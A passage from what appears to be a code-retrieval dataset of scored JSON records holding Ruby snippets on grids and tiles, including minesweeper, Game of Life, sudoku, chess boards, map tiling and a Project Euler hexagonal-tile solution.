1) if col - 1 > -1 \n # NW\n open_up(row - 1,col - 1) if (row -1 > -1) && (col - 1 > -1) \n\n return\n\n end", "title": "" }, { "docid": "2fef7af556fe829b0567514ee4b0c7e7", "score": "0.6057339", "text": "def map_board\n\t\t@cell_at = []\n\t\t@height.times do |row|\n\t\t\t@cell_at[row] = []\n\t\t\t@width.times do |col|\n\t\t\t\t@cell_at[row][col] = Cell.new\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "93d4f7401df6455a65c705a474021ea0", "score": "0.60564286", "text": "def height\n TILE_BASE_HEIGHT\n end", "title": "" }, { "docid": "f92a9ab2c272a4dad1f8722c37d4913d", "score": "0.6041512", "text": "def new_coords(x, y)\n [x % GRID_WIDTH, y % GRID_HEIGHT]\n end", "title": "" }, { "docid": "9400606c636fffa4bdc81b36dd78bf9a", "score": "0.6017995", "text": "def ninth\n at(8)\n end", "title": "" }, { "docid": "e5a6ce679ecaa2196f1ec9b4b1c7c1fe", "score": "0.5994585", "text": "def get_grids(x, y, width, height)\n x = (x*10)-5\n y = (y*10)-5\n end_x= x+(width*10)-1\n end_y= y+(height*10) -1\n return [[y, x], [end_y, end_x]]\n end", "title": "" }, { "docid": "e5a6ce679ecaa2196f1ec9b4b1c7c1fe", "score": "0.5994585", "text": "def get_grids(x, y, width, height)\n x = (x*10)-5\n y = (y*10)-5\n end_x= x+(width*10)-1\n end_y= y+(height*10) -1\n return [[y, x], [end_y, end_x]]\n end", "title": "" }, { "docid": "4430f23b61488637cf994dfc13559ec8", "score": "0.59931767", "text": "def google_tile(tx, ty, zoom)\n [tx, (2**zoom - 1) - ty]\n end", "title": "" }, { "docid": "06763891e93930043429731542c95ce9", "score": "0.59836715", "text": "def tiles_remaining\n return @tiles\n end", "title": "" }, { "docid": "3370dec6bef1ea30fccf1751b3bff731", "score": "0.59732866", "text": "def screen_tile_x\n Graphics.width / TILE_WIDTH\n end", "title": "" }, { "docid": "8968d15b0f0ef5eb607b2285c4b18b7c", "score": "0.5969534", "text": "def initialize(width, height, tile_width, tile_height)\n @max_tile_x = width/tile_width\n @max_tile_y = height/tile_height\n @max_subgrid_x = (width/tile_width)*3\n @max_subgrid_y = (height/tile_height)*3\n @tiles = Array.new(max_tile_y) {|i| Array.new(max_tile_x)}\n end", "title": "" }, { "docid": "183bf428376b3986f0d51a7738af9ef5", "score": "0.5965186", "text": "def neighbors(location)\n y , x = location\n count = 0\n #upper left\n count += @board[y-1][x-1] if (y-1 >= 0 && x-1 >= 0)\n #upper middle \n count += @board[y-1][x] if (y-1 >= 0)\n #upper right \n count += @board[y-1][x+1] if (y-1 < @board.length && x+1 < @board[0].length)\n #middle left \n count += @board[y][x-1] if (x-1 >= 0)\n #middle right \n count += @board[y][x+1] if (x+1 < @board[0].length)\n #bottom left \n count += @board[y+1][x-1] if (y+1 < @board.length && x-1 >= 0)\n #bottom middle \n count += @board[y+1][x] if (y+1 < @board.length)\n #bottom left \n count += @board[y+1][x+1] if (y+1 < @board.length && x+1 < @board[0].length)\n \n count\n end", "title": "" }, { "docid": "903e6b8d5175bcc569faea59f229504d", "score": "0.596433", "text": "def generate_solution\n ary = (\"0\" * tile_count).chars.map(&:to_i)\n until ary.count(0).zero?\n ary.each_with_index do |num, ind|\n row = calculate_area(ind + 1, :row)\n col = calculate_area(ind + 1, :col)\n box = calculate_area(ind + 1, :box)\n row_neighbours = tile_range.to_a.select {|n| calculate_area(n, :row).eql? row}\n col_neighbours = tile_range.to_a.select {|n| calculate_area(n, :col).eql? col}\n box_neighbours = tile_range.to_a.select {|n| calculate_area(n, :box).eql? box}\n neighbours = (row_neighbours + col_neighbours + box_neighbours).uniq!.map {|n| n -= 1}\n neighbouring_values = []\n neighbours.each {|n| neighbouring_values << ary[n]}\n options = (0..area_size).to_a.reject! {|x| neighbouring_values.compact.include?(x)}\n if options == []\n ary = (\"0\" * tile_count).chars.map(&:to_i)\n break\n end\n ary[ind] = options.sample\n end\n end\n return ary.join\n end", "title": "" }, { "docid": "58e4975e7a4ad79a1aa519b74b74cd8f", "score": "0.59510446", "text": "def screen_tile_y\n Graphics.height / TILE_HEIGHT\n end", "title": "" }, { "docid": "1c2431889c6f4c8c806f00ae129cf39e", "score": "0.59483755", "text": "def gen_cells args = {}\n\t\t\tx = args[:x] || 0\n\t\t\ty = args[:y] || 0\n\t\t\tw = args[:w] || 32\n\t\t\th = args[:h] || 32\n\n\t\t\tcell_count = {\n\t\t\t\tx: (current_room.w.to_f / w.to_f).floor,\n\t\t\t\ty: (current_room.h.to_f / h.to_f).floor\n\t\t\t}\n\n\t\t\treturn cell_count[:y].times.map do |row|\n\t\t\t\tnext cell_count[:x].times.map do |col|\n\t\t\t\t\tnext Cell.new(\n\t\t\t\t\t\tx: (w * col),\n\t\t\t\t\t\ty: (h * row),\n\t\t\t\t\t\tw: w, h: h,\n\t\t\t\t\t\tindex: { x: col, y: row },\n\t\t\t\t\t\tsolid: false\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend .flatten\n\t\tend", "title": "" }, { "docid": "0ef0411d6c44e4b9f31540940b34cffe", "score": "0.5940004", "text": "def represent\n # grid_array will be an array of strings that represent our grid in NxN format\n grid_array=[]\n @h.times{|r| grid_array<<@grid[r*@w,@w].split('')*' '}\n grid_array\n end", "title": "" }, { "docid": "b1607b61a9fda872ceb78fee4d277e88", "score": "0.5901892", "text": "def possible_neighbors(y,x)\n # (-1..1).to_a.map do |row_offset|\n # (-1..1).to_a.map do |col_offset|\n # return y - row_offset, x - col_offset\n # end\n # end\n up = y-1\n down = y + 1\n my_row = y\n left = x - 1\n right = x + 1\n my_column = x\n\n [\n [my_row,x-1],[y,x+1], # sides\n [up,x-1], [y-1,x], [y-1,x+1], # top\n [down,x-1], [y+1,x], [y+1,x+1] # bottom\n ]\n end", "title": "" }, { "docid": "087773d38a2f853e4d636b08c3f043de", "score": "0.5896152", "text": "def tiles_remaining\n @default_tiles.values.inject(0, :+)\n end", "title": "" }, { "docid": "7158a80e584bb2273545ed673175380f", "score": "0.58940876", "text": "def create_spaces\n ((@tiles, @tile_map),\n (@up_vtexs, @up_vtex_map),\n (@down_vtexs, @down_vtex_map),\n (@asc_edges, @asc_edge_map),\n (@desc_edges, @desc_edge_map),\n (@vert_edges, @vert_edge_map)) =\n [[Tile, nil, 1..5, [3,4,5,4,3], [1..3, 1..4, 1..5, 2..5, 3..5]],\n [Vtex, :up, 1..6, [3,4,5,6,5,4], [1..3, 1..4, 1..5, 1..6, 2..6, 3..6]],\n [Vtex, :down, 0..5, [4,5,6,5,4,3], [0..3, 0..4, 0..5, 1..5, 2..5, 3..5]],\n [Edge, :asc, 1..6, [3,4,5,5,4,3], [1..3, 1..4, 1..5, 2..6, 3..6, 4..6]],\n [Edge, :desc, 1..6, [3,4,5,5,4,3], [1..3, 1..4, 1..5, 1..5, 2..5, 3..5]],\n [Edge, :vert, 1..5, [4,5,6,5,4], [1..4, 1..5, 1..6, 2..6, 3..6]]\n ].map {|cls, align, row_interval, row_counts, col_intervals|\n rows = row_counts.zip(row_interval.to_a).map {|c, r| [r]*c}.flatten\n cols = col_intervals.map {|ival| ival.to_a}.flatten\n count = rows.length\n list = (0...count).to_a.map {|i| cls.new}\n list.each {|obj| obj.alignment = align} unless align.nil?\n list.zip(rows, cols).each {|obj, row, col| obj.row, obj.col = row, col}\n map = Hash[list.map {|obj| [[obj.row, obj.col], obj]}]\n [list, map]\n }\n\n @vtexs = @up_vtexs + @down_vtexs\n @edges = @asc_edges + @desc_edges + @vert_edges\n @all_spaces = @tiles + @vtexs + @edges\n\n @vtex_map = Hash[@vtexs.map {|v| [v.coords, v]}]\n @edge_map = Hash[@edges.map {|e| [e.coords, e]}]\n\n @all_spaces.zip((0...(@all_spaces.length)).to_a).each do |obj, id|\n obj.id = id\n end\n end", "title": "" }, { "docid": "c0573a63aded1e63a90eca61b1700d37", "score": "0.5886143", "text": "def initialize\n @piece_count = 0\n\n @grid = []\n (0..6).each do |col|\n @grid[col] = []\n (0..5).each do |row|\n @grid[col][row] = \"-\"\n end\n end\n end", "title": "" }, { "docid": "7e56e81a5d6075c0c369e3a749adbf07", "score": "0.5862976", "text": "def each_unknown\n 0.upto 8 do | row |\n 0.upto 8 do | col |\n index = row * 9 + col\n next if @grid[index] != 0\n box = BoxOfIndex[index]\n yield row, col, box\n end \n end \n end", "title": "" }, { "docid": "eef582357719cfd52bb8b106d8a10aba", "score": "0.5862144", "text": "def find_cells_arround(row, column)\n count = 0\n next_row = row + 1\n next_column = column + 1\n if row + 1 == @grid.length\n next_row = 0\n end\n if column + 1 == @grid.length\n next_column = 0\n end\n if @grid[row][next_column] == \"x\"\n count += 1\n end\n if @grid[row][column - 1] == \"x\"\n count += 1\n end\n if @grid[next_row][column] == \"x\"\n count += 1\n end\n if @grid[next_row][next_column] == \"x\"\n count += 1\n end\n if @grid[next_row][column - 1] == \"x\"\n count += 1\n end\n if @grid[row - 1][column] == \"x\"\n count += 1\n end\n if @grid[row - 1][next_column] == \"x\"\n count += 1\n end\n if @grid[row - 1][column - 1] == \"x\"\n count += 1\n end\n return count\n end", "title": "" }, { "docid": "116d988df688f7b4acafa5b757baf89f", "score": "0.58543384", "text": "def test_board_should_have_9_tiles\n assert_equal(9, @board.number_of_tiles)\n end", "title": "" }, { "docid": "9abe005b057aec9dce3ffb75c51802cf", "score": "0.5848118", "text": "def default_grid\n array = Array.new(8) { Array.new(8) }\n\n array[0][0] = Rook.new('white', [0,0], 'slide')\n array[1][0] = Knight.new('white', [1,0], 'step')\n array[2][0] = Bishop.new('white', [2,0], 'slide')\n array[3][0] = Queen.new('white', [3,0], 'slide')\n array[4][0] = King.new('white', [4,0], 'step')\n array[5][0] = Bishop.new('white', [5,0], 'slide')\n array[6][0] = Knight.new('white', [6,0], 'step')\n array[7][0] = Rook.new('white', [7,0], 'slide')\n array[0..7].each_with_index { |column, index| \n column[1] = Pawn.new('white', [index,1], 'step') }\n\n array[0][7] = Rook.new('black', [0,7], 'slide')\n array[1][7] = Knight.new('black', [1,7], 'step')\n array[2][7] = Bishop.new('black', [2,7], 'slide')\n array[3][7] = Queen.new('black', [3,7], 'slide')\n array[4][7] = King.new('black', [4,7], 'step')\n array[5][7] = Bishop.new('black', [5,7], 'slide')\n array[6][7] = Knight.new('black', [6,7], 'step')\n array[7][7] = Rook.new('black', [7,7], 'slide')\n array[0..7].each_with_index { |column, index| \n column[6] = Pawn.new('black', [index,6], 'step') }\n\n array\n end", "title": "" }, { "docid": "5c6d05968bd5a2b274c9728c5cdca01f", "score": "0.5843987", "text": "def walk_grid(g, n)\n Enumerator.new do |enum|\n 0.upto(g.size-1) do |y|\n 0.upto(g.size-1) do |x|\n x_ok = x < (g.size-n)\n y_ok = y < (g.size-n)\n enum.yield :horizontal, fetch_tuple(g, x, y, 1, 0, n) if x_ok\n enum.yield :vertical, fetch_tuple(g, x, y, 0, 1, n) if y_ok\n enum.yield :diagonal, fetch_tuple(g, x, y, 1, 1, n) if x_ok && y_ok\n end\n end\n end.lazy\nend", "title": "" }, { "docid": "061decbad1a35e82205ae9e50308b1f6", "score": "0.5839582", "text": "def get_row_cells row\n\t\treturn (row * 9...row * 9 + 9).to_a\n\tend", "title": "" }, { "docid": "6e28b641695232e18f1398ea63914061", "score": "0.5835428", "text": "def get_tiles\n tiles = []\n accuracy_pixels_config = AppConfig.gmap_accuracy\n (0...AppConfig.gmap_max_zoom).reverse_each do |zoom|\n tiles_across = 2**zoom\n # the accuracy will go down by half at each zoom level with a floor of 1 i.e. 8 => 4, 7 => 2, 6 => 1, 5 => 1, 4 => 1\n accuracy_pixels = (accuracy_pixels_config.to_f / 2**(AppConfig.gmap_max_zoom - zoom).to_f ).ceil\n tiles_at_zoom = (0...tiles_across).map { |x| (0...tiles_across).map { |y| OpenStruct.new(:x => x, :y => y, :zoom => zoom, :accuracy_pixels => accuracy_pixels) } }.flatten(1)\n tiles.concat tiles_at_zoom\n end\n tiles\n end", "title": "" }, { "docid": "69be51d7924fe51b7c2770bde171ad57", "score": "0.5823684", "text": "def initialize \n @rows = 8\n @columns = 8\n @grid = create_board\n end", "title": "" }, { "docid": "dce696dc2d494e1ae36159c963653c01", "score": "0.5821773", "text": "def _get_square_starting_points()\n square_starting_points = []\n row_index = 0\n column_index = 0\n 3.times do\n 3.times do\n square_starting_points << [row_index, column_index]\n column_index += 3\n end\n row_index += 3\n column_index = 0\n end\n square_starting_points\n end", "title": "" }, { "docid": "5575d8ef13d6eafca591c11a0b013503", "score": "0.58161783", "text": "def measure map, x, y \n if map[x][y] != 'land' || x >= 6 || y >= 6 #Ensures water, counted land, and coordinates\n return 0 #off the grid aren't counted.\n end\n \n size = 1\n map[x][y] = 'counted land' #Marks the starting tile as something bedsides Land. Every tile surrounding the starting tile becomes the \"new starting tile\" as the the recursion happens.\n \n size = size + measure(map, x-1, y-1) #Each of these lines is run again and again until\n size = size + measure(map, x, y-1) #a non-land square is encountered. \n size = size + measure(map, x+1, y-1) #That's the recursive part.\n size = size + measure(map, x-1, y)\n size = size + measure(map, x+1, y)\n size = size + measure(map, x-1, y+1)\n size = size + measure(map, x, y+1)\n size = size + measure(map, x+1, y+1)\n \n size\nend", "title": "" }, { "docid": "dd4e918dab123c975e02cce0bf8871e0", "score": "0.5811631", "text": "def get_subgrid(cords)\n subgrid = []\n x_pos = cords[0] - cords[0] % 3\n (x_pos..x_pos + 2).each do |row_num|\n y_pos = cords[1] - cords[1] % 3\n subgrid += @grid[row_num][y_pos, 3]\n end\n subgrid\n end", "title": "" }, { "docid": "3c6921ca0b183aba96d5a285287ef11a", "score": "0.5808166", "text": "def pixels_to_tile(px, py)\n tx = (px / @tile_size.to_f).ceil.to_i - 1\n ty = (py / @tile_size.to_f).ceil.to_i - 1\n [tx, ty]\n end", "title": "" }, { "docid": "1055eb66d261d7b6ae3830c385942cf7", "score": "0.5801172", "text": "def grid\n \t\t\tfinal, y = Array.new, 0\n \t\t\t@@axis.fetch(:y).times do\n \t\t\t\tfinal[y], x = Array.new, 0\n \t\t\t\t@@axis.fetch(:x).times do\n \t\t\t\t\tfinal[y][x] = init_coord(x, y)\n \t\t\t\t\tx += 1\n \t\t\t\tend\n \t\t\t\ty += 1\n\t\t\tend\n\t\t\tfinal.reverse\n\t\tend", "title": "" }, { "docid": "23c7fe24e4333859f6d3d672f606f5fc", "score": "0.57999766", "text": "def grid_image\n s = ''\n s << \" %s %s %s \\n\" % [own(256), own(128), own(64)]\n s << \" %s %s %s \\n\" % [own(32), own(16), own(8)]\n s << \" %s %s %s \\n\" % [own(4), own(2), own(1)]\n s\n end", "title": "" }, { "docid": "a3248252adf7ee42dbc852fa687762c7", "score": "0.5798073", "text": "def populate_grid\n start_rows = { red: (0..2), black: (5..7) }\n\n 8.times do |x|\n 8.times do |y|\n [:red, :black].each do |color|\n if (x + y).even? && start_rows[color].include?(y)\n self[[x, y]] = Piece.new(color, [x, y], self)\n end\n end\n end\n end\n\n grid.each_with_index do |row, y|\n row.each_with_index do |cell, x|\n puts \"x=#{x}, y=#{y}, cell.class=#{cell.class}\"\n end\n end\n end", "title": "" }, { "docid": "856f76c7949c7047f43f8c78cf9cf53b", "score": "0.57962954", "text": "def inner_up\n # looking up at the bottom of the inner grid\n return 0 if inner.nil?\n # sum bottom edge\n (0..@size-1).map { |x| inner.get_loc(x, @size - 1) ? 1 : 0 }.sum\n end", "title": "" }, { "docid": "d65ad90ab0cd03116387b05944060649", "score": "0.57946247", "text": "def count_black_tiles_around(in_tiles, tile_x, tile_y)\n black_tile_count = 0\n MOVE.each do |dir, deltas|\n other_tile_x = tile_x + deltas[0]\n other_tile_y = tile_y + deltas[1]\n hash_key = \"#{other_tile_x}_#{other_tile_y}\"\n black_tile_count += 1 if (in_tiles[hash_key] % 2 == 1)\n end\n black_tile_count\nend", "title": "" }, { "docid": "75eabddf92576d46960d855218999ac8", "score": "0.5788313", "text": "def generate_tile()\n @i = do_generate_tile(@i)\n end", "title": "" }, { "docid": "7ff01fe2e82d9b809004263d79a64430", "score": "0.5779609", "text": "def neighbours(grid, coords)\n x, y = coords\n n = [\n [1, 0], [1, 1], [0, 1], [-1, 1],\n [-1,0], [-1, -1], [0, -1], [1, -1]\n ]\n \n n\n .map { |i|\n nx, ny = i\n grid.fetch([x + nx,y + ny], 0)\n }\n .sum\nend", "title": "" }, { "docid": "37b994adb2c9435a0bb7aca6c56a0d2d", "score": "0.5776209", "text": "def neighbor_cell_coordinates\n NEIGHBOR_OFFSETS.map { |coordinates| [row + coordinates[0], col + coordinates[1]] }\n end", "title": "" }, { "docid": "869e1d99f49543c6aba74c902a4ea682", "score": "0.5773609", "text": "def get_col_cells col\n\t\treturn (col...9 ** 2).step(9).to_a\n\tend", "title": "" }, { "docid": "0b13bd31821406e2f383150660a07e97", "score": "0.57728815", "text": "def build_neighbours_matrix\n result = []\n\n Game.size.times do |i|\n row = {}\n\n xi = i % Game.width\n xj = i / Game.width\n\n row[:left] = (i + 1) if (xi + 1) < Game.width\n row[:right] = (i - 1) unless xi.zero?\n row[:up] = i + Game.width if (xj + 1) < Game.height\n row[:down] = i - Game.width unless xj.zero?\n\n result << row\n end\n\n result\n end", "title": "" }, { "docid": "7e9db86253baa6bbe3cd5417c8be8148", "score": "0.57728654", "text": "def grid\n if 1 <= poster_slot && poster_slot <= 66\n offset = 1\n number_per_row = 11\n total_rows = 6\n group = 1\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 67 <= poster_slot && poster_slot <= 96\n offset = 67\n number_per_row = 15\n group = 2\n total_rows = 2\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 97 <= poster_slot && poster_slot <= 144\n offset = 97\n number_per_row = 6\n group = 3\n total_rows = 8\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.odd? # invert\n elsif 145 <= poster_slot && poster_slot <= 184\n offset = 145\n number_per_row = 20\n group = 4\n total_rows = 2\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 185 <= poster_slot && poster_slot <= 284\n offset = 185\n number_per_row = 25\n group = 5\n total_rows = 4\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 285 <= poster_slot && poster_slot <= 314\n offset = 285\n number_per_row = 5\n group = 6\n total_rows = 6\n row = (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n else\n return nil\n end\n Grid.new(col, row, group)\n end", "title": "" }, { "docid": "2896660082872ecd500df35a546a664c", "score": "0.5758368", "text": "def reachable_tiles\n @tiles\n end", "title": "" }, { "docid": "8c78aadc0ae0f76f8574f8853ea39346", "score": "0.5751717", "text": "def each_tile_with_index level\n\t\t\tidx = 0\n\t\t\tsize = tile_size level\n\t\t\t(0...size).each do |y|\n\t\t\t\t(0...size).each do |x|\n\t\t\t\t\tyield(x, y, idx) if block_given?\n\t\t\t\t\tidx += 1\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "c91f8f197e5ac6b6b716b6f0f0ba277e", "score": "0.57481134", "text": "def area_span_for_numbered_tile tile\n area_span = create_general_area_span_for_numbered @b_nl[tile[0],tile[1]]\n area_span.map!{|x,y| [(x+tile[0]), (y+tile[1])] }\n area_span.reject!{|x,y| x < 0 || y < 0 || x > (@row_count-1) || y > (@col_count-1)}\n area_span\n end", "title": "" }, { "docid": "20a179c95fd5099fed63d25deb556c69", "score": "0.57437515", "text": "def solve( n = 2_000 )\n # We can classify every tile according to its angular position around the\n # unit circle, setting position 0 at the top since that's where each row\n # starts in the problem statement. Positions 1-5 then follow every 60° as\n # we work our way counter-clockwise. Depending on which of these positions\n # each tile falls (or between which pair of positions), we use different\n # formulae to calculate its six neighbors to the N, NW, SW, S, SE, and NE:\n # \n # Pos 0: n even = fhp\n # N = n + ring (g) S = n - ring + 6 (a)\n # NW = n + ring + 1 (h) SE = n + ring - 1 (f)\n # SW = n + 1 NE = n + (2*ring + 5) (p)\n #\n # Pos 0-1: n even = bh, n odd = ag \n # N = n + ring (g) S = n - ring + 6 (a)\n # NW = n + ring + 1 (h) SE = n - ring + 5 (b)\n # SW = n + 1 NE = n - 1\n #\n # Pos 1: n even = bh, n odd = gi\n # N = n + ring (g) S = n + 1\n # NW = n + ring + 1 (h) SE = n - ring + 5 (b)\n # SW = n + ring + 2 (i) NE = n - 1\n #\n # Pos 1-2: n even = bh, n odd = ci\n # N = n - 1 S = n + 1\n # NW = n + ring + 1 (h) SE = n - ring + 5 (b)\n # SW = n + ring + 2 (i) NE = n - ring + 4 (c)\n #\n # Pos 2: n even = hj\n # N = n - 1 S = n + ring + 3 (j)\n # NW = n + ring + 1 (h) SE = n + 1\n # SW = n + ring + 2 (i) NE = n - ring + 4 (c)\n #\n # Pos 2-3: n even = dj, n odd = ci\n # N = n - ring + 3 (d) S = n + ring + 3 (j)\n # NW = n - 1 SE = n + 1\n # SW = n + ring + 2 (i) NE = n - ring + 4 (c)\n #\n # Pos 3: n even = dj, n odd = ik\n # N = n - ring + 3 (d) S = n + ring + 3 (j)\n # NW = n - 1 SE = n + ring + 4 (k)\n # SW = n + ring + 2 (i) NE = n + 1\n #\n # Pos 3-4: n even = dj, n odd = ek\n # N = n - ring + 3 (d) S = n + ring + 3 (j)\n # NW = n - ring + 2 (e) SE = n + ring + 4 (k)\n # SW = n - 1 NE = n + 1\n #\n # Pos 4: n even = jl\n # N = n + 1 S = n + ring + 3 (j)\n # NW = n - ring + 2 (e) SE = n + ring + 4 (k)\n # SW = n - 1 NE = n + ring + 5 (l)\n #\n # Pos 4-5: n even = fl, n odd = ek\n # N = n + 1 S = n - 1\n # NW = n - ring + 2 (e) SE = n + ring + 4 (k)\n # SW = n - ring + 1 (f) NE = n + ring + 5 (l)\n #\n # Pos 5: n even = fl, n odd = km\n # N = n + ring + 6 (m) S = n - 1\n # NW = n + 1 SE = n + ring + 4 (k)\n # SW = n - ring + 1 (f) NE = n + ring + 5 (l)\n #\n # Pos 5-0, except last: n even = fl, n odd = gm\n # N = n + ring + 6 (m) S = n - ring (g)\n # NW = n + 1 SE = n - 1\n # SW = n - ring + 1 (f) NE = n + ring + 5 (l)\n #\n # Pos 5-0, only last: n even = flo, n odd = gmo\n # N = n + ring + 6 (m) S = n - ring (g)\n # NW = n - ring + 1 (f) SE = n - 1\n # SW = n - (2*ring - 7) (o) NE = n + ring + 5 (l)\n #\n # From these formula, we can derive the difference between a tile and each\n # of its neighbors. If we arrange all potential differences in ascending\n # order, it becomes obvious that for n even or odd, some deltas will al-\n # ways be even, and thus can never be prime (>2).\n #\n # Furthermore, we can see that only in certain positions will a tile ever\n # differ from three neighbors by odd amounts (position 0 and just to the\n # right of position 0). In all other cases, at most two deltas will be\n # odd, meaning PD(n) will be 2 or less.\n #\n # n even n odd\n # a = ring - 6 even a\n # b = ring - 5 b even\n # c = ring - 4 even c\n # d = ring - 3 d even\n # e = ring - 2 even e\n # f = ring - 1 f even\n # g = ring even g\n # h = ring + 1 h even\n # i = ring + 2 even i\n # j = ring + 3 j even\n # k = ring + 4 even k\n # l = ring + 5 l even\n # m = ring + 6 even m\n # o = 2ring - 7 o o\n # p = 2ring + 5 p p\n pd3 = [1, 2]\n base, ring = 8, 12\n \n while pd3.size < n\n # Only at position 0 and one tile to the right will there ever be three\n # odd deltas, so those are the only ones we have to check for primality.\n # Both share a delta of f = ring - 1.\n if (ring - 1).prime?\n # Check the other odd deltas for position 0. \n pd3 << base if (ring + 1).prime? && (2*ring + 5).prime?\n\n # Check the other odd deltas for one tile to the right of position 0.\n pd3 << base + ring - 1 if (ring + 5).prime? && (2*ring - 7).prime?\n end\n\n # Advance the first tile of the current ring (base), and the number of\n # tiles it contains (ring). \n base += ring\n ring += 6\n end\n\n pd3[-1]\n end", "title": "" }, { "docid": "16a9546ceb9d42bd2597f0ae3614317d", "score": "0.5743343", "text": "def build_grid\n header = [\" \", \" a \", \" b \", \" c \", \" d \", \" e \", \" f \", \" g \", \" h \"]\n grid_display = @board.grid.map.with_index do |row, index|\n [8 - index] + build_row(row, index)\n end\n grid_display.unshift(header)\n end", "title": "" }, { "docid": "7dcab108640c8897ffb23ee2856890a2", "score": "0.5740599", "text": "def initialize\n @tiles = []\n 1.upto(15) { |i| @tiles[i] = Array.new }\n end", "title": "" }, { "docid": "95074b6850f5b46127228147306cb459", "score": "0.57403594", "text": "def continent_size world, x, y\nif world[y][x] != 'land' # => false, true, true, true, false, true, true, true, true, true, true, false, true, true, true, true, true, true, true, true, true, true, true, true, true\n# Either it's water or we already counted it,\n# but either way, we don't want to count it now.\nreturn 0 # => 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\nend\n# So first we count this tile...\nsize = 1 # => 1, 1, 1\nworld[y][x] = 'counted land' # => \"counted land\", \"counted land\", \"counted land\"\n# Each time the program his a tile marked 'land' it updates that tile\n# so it is no longer 'land' but 'counted land', meaning the next time the\n# program hits that tile it will no longer be equal to 'land' and therefore\n# is not double counted.\n\n# ...then we count all of the neighboring eight tiles\n# (and, of course, their neighbors by way of the recursion).\n#\n# The best way to think of this is that each time the program hits a land tile\n# it starts spiraling around that tile until it finds another land tile and\n# each time it finds another land tile it starts again from that second land tile\n# and so on and son on until it has counted all the land tiles and their neighbors\n# that joined the starting tile.\n#\nsize = size + continent_size(world, x-1, y-1) # => 1, 1, 1\nsize = size + continent_size(world, x , y-1) # => 1, 1, 1\nsize = size + continent_size(world, x+1, y-1) # => 1, 1, 1\nsize = size + continent_size(world, x-1, y ) # => 1, 1, 3\nsize = size + continent_size(world, x+1, y ) # => 1, 1, 3\nsize = size + continent_size(world, x-1, y+1) # => 1, 1, 3\nsize = size + continent_size(world, x , y+1) # => 1, 2, 3\nsize = size + continent_size(world, x+1, y+1) # => 1, 2, 3\nsize # => 1, 2, 3\nend", "title": "" }, { "docid": "79d7e8874150eec619867c84e7c2815e", "score": "0.57313615", "text": "def pattern(pixel_l)\n result = 0\n (0..7).each do |index|\n minimum = 32 * index\n maximum = 32 * (index + 1)\n result = index if pixel_l >= minimum && pixel_l < maximum\n end\n result\n end", "title": "" }, { "docid": "75ab8e952ebd629eaf72fccbececdaa9", "score": "0.57310593", "text": "def tile\n tile_at(@position)\n end", "title": "" }, { "docid": "e017a8ef7758b6c6f709eefb8548a30e", "score": "0.5724062", "text": "def eight_queens_possibilities(current_row, taken_columns, positions)\n positions ||= []\n return [positions] if current_row == 8\n\n all_pos = []\n cols_left = (0..7).to_a - taken_columns\n\n cols_left.each do |col|\n pos_dup = positions.dup\n pos_dup << [current_row, col]\n\n all_pos += eight_queens_possibilities(current_row+1,\n taken_columns+[col], pos_dup)\n end\n all_pos\n end", "title": "" }, { "docid": "855cf4651d12410e921d5367b8ef0fe8", "score": "0.57237065", "text": "def grid_nodes(width=@width, height=@height, nodeset=@nodes)\n num_cols = (Math.sqrt(nodeset.length)*(width/height)).ceil\n num_rows = (nodeset.length/num_cols.to_f).ceil\n col_len = width/num_cols\n row_len = height/num_rows\n nodeset.each_with_index{|(key, node), i| nodeset[key].location = \n Vector[(0.5 + (i%num_cols))*col_len,(0.5 + (i/num_cols))*row_len] if !nodeset[key].static}\n end", "title": "" }, { "docid": "85f83e84009756e40f32dbb85f2c6150", "score": "0.57228994", "text": "def image_board\n\t\t(0...@width).map do |i|\n\t\t\t(0...@height).map do |j|\n\t\t\t\t# ([1]*3+[0]*7)[rand 10]\n\t\t\t\trand 2\n\n\n\t\t\t\t# rand 2\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "2b40a62bd4ca843b992722b4df73eb5b", "score": "0.57225716", "text": "def infinite_areas\n infs = []\n (0..max_x).each do |x|\n infs << @grid[x][0]\n infs << @grid[x][max_y]\n end\n\n (0..max_y).each do |y|\n infs << @grid[0][y]\n infs << @grid[max_x][y]\n end\n\n infs.uniq.reject {|x| x == \".\" }.sort\n end", "title": "" }, { "docid": "a1ebff41c05ffd37a7e5cfa813de5294", "score": "0.57221174", "text": "def getAreas\n self.removeInfinites\n totals = Hash.new(0)\n self.dims[0].times do |i|\n self.dims[1].times do |j|\n totals[@grid[i][j]] += 1\n end\n end\n totals[-1] = 0\n totals\n end", "title": "" }, { "docid": "6ce53cf22537b9d2a1ee13842e4a1030", "score": "0.57208467", "text": "def compute_down_cache\n collection = Array.new(@row_ct) { Array.new(@col_ct) { 0 }}\n c_idx = 0\n while (c_idx < @col_ct) do\n r_idx = 0 # LESSON: whenever doing these nested loops, make sure to double check that values get properly reset...\n counter = 0\n while (r_idx < @row_ct) do\n val = @grid[r_idx][c_idx]\n if val == 1\n counter += 1\n else\n counter = 0\n end\n collection[r_idx][c_idx] = counter\n r_idx += 1\n end\n c_idx += 1\n end\n return collection\n end", "title": "" }, { "docid": "a11b5339d7a521ad51ce8b54779ce0b0", "score": "0.5707151", "text": "def tile_dimensions(x, y, tile_size, overlap)\n overlapping_tile_size = tile_size + (2 * overlap)\n border_tile_size = tile_size + overlap\n tile_width = (x > 0) ? overlapping_tile_size : border_tile_size\n tile_height = (y > 0) ? overlapping_tile_size : border_tile_size\n return tile_width, tile_height\n end", "title": "" }, { "docid": 